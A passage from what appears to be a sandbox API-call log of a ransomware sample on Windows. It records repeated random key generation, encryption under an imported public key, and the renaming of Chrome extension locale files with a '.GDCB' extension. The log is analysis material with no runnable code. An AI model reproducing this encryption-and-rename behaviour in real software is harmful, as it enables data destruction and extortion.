| out: pbBuffer=0x285ce48) returned 1 [0276.327] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.328] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.330] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ca20) returned 1 [0276.330] CryptGetKeyParam (in: hKey=0x678ca20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.330] CryptEncrypt (in: hKey=0x678ca20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.331] GetLastError () returned 0x0 [0276.331] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.331] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.333] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cea0) returned 1 [0276.333] CryptGetKeyParam (in: hKey=0x678cea0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.333] CryptEncrypt (in: hKey=0x678cea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.333] GetLastError () returned 0x0 [0276.333] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.333] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.335] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.338] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.340] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xdf, lpOverlapped=0x0) returned 1 [0276.349] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.363] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0276.368] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.371] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.374] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.374] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.374] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.376] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.379] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.379] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.379] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0276.381] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678c8e0) returned 1 [0276.381] CryptGetKeyParam (in: hKey=0x678c8e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.381] CryptEncrypt (in: hKey=0x678c8e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.382] GetLastError () returned 0x0 [0276.382] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.382] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0276.383] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cae0) returned 1 [0276.383] CryptGetKeyParam (in: hKey=0x678cae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.383] CryptEncrypt (in: hKey=0x678cae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.384] GetLastError () returned 0x0 [0276.384] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0276.384] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.385] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.388] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.390] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x109, lpOverlapped=0x0) returned 1 [0276.399] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.414] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0276.419] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.425] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.425] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.425] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.425] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.428] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.430] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.430] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.430] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.430] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.433] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ca60) returned 1 [0276.433] CryptGetKeyParam (in: hKey=0x678ca60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.433] CryptEncrypt (in: hKey=0x678ca60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.433] GetLastError () returned 0x0 [0276.433] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.433] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.436] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cb20) returned 1 [0276.436] CryptGetKeyParam (in: hKey=0x678cb20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.436] CryptEncrypt (in: hKey=0x678cb20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.436] GetLastError () returned 0x0 [0276.436] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.436] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.437] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.441] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.443] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x11e, lpOverlapped=0x0) returned 1 [0276.451] VirtualAlloc (lpAddress=0x0, dwSize=0x120, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.458] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0276.464] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.470] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.470] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.470] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.470] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.473] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.491] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.491] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.492] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.494] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cda0) returned 1 [0276.494] CryptGetKeyParam (in: hKey=0x678cda0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.494] CryptEncrypt (in: hKey=0x678cda0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.494] GetLastError () returned 0x0 [0276.494] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.494] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.496] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cca0) returned 1 [0276.496] CryptGetKeyParam (in: hKey=0x678cca0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.496] CryptEncrypt (in: hKey=0x678cca0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.496] GetLastError () returned 0x0 [0276.496] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.497] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.501] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.504] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xd2, lpOverlapped=0x0) returned 1 [0276.512] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.525] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\se\\messages.json.gdcb")) returned 1 [0276.530] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.536] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.536] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.536] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.536] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.539] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.541] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.542] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0276.542] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.542] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0276.544] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cfe0) returned 1 [0276.544] CryptGetKeyParam (in: hKey=0x678cfe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.544] CryptEncrypt (in: hKey=0x678cfe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0276.544] GetLastError () returned 0x0 [0276.545] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0276.545] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0276.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678cb60) returned 1 [0276.546] CryptGetKeyParam (in: hKey=0x678cb60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0276.546] CryptEncrypt (in: hKey=0x678cb60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0276.547] GetLastError () returned 0x0 [0276.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.547] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0276.548] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0276.551] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0276.554] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0xde, lpOverlapped=0x0) returned 1 [0276.562] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0276.569] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0276.574] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0276.578] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.580] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.580] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0276.580] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0276.580] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0276.583] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0276.585] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0276.585] CryptGenRandom (in: 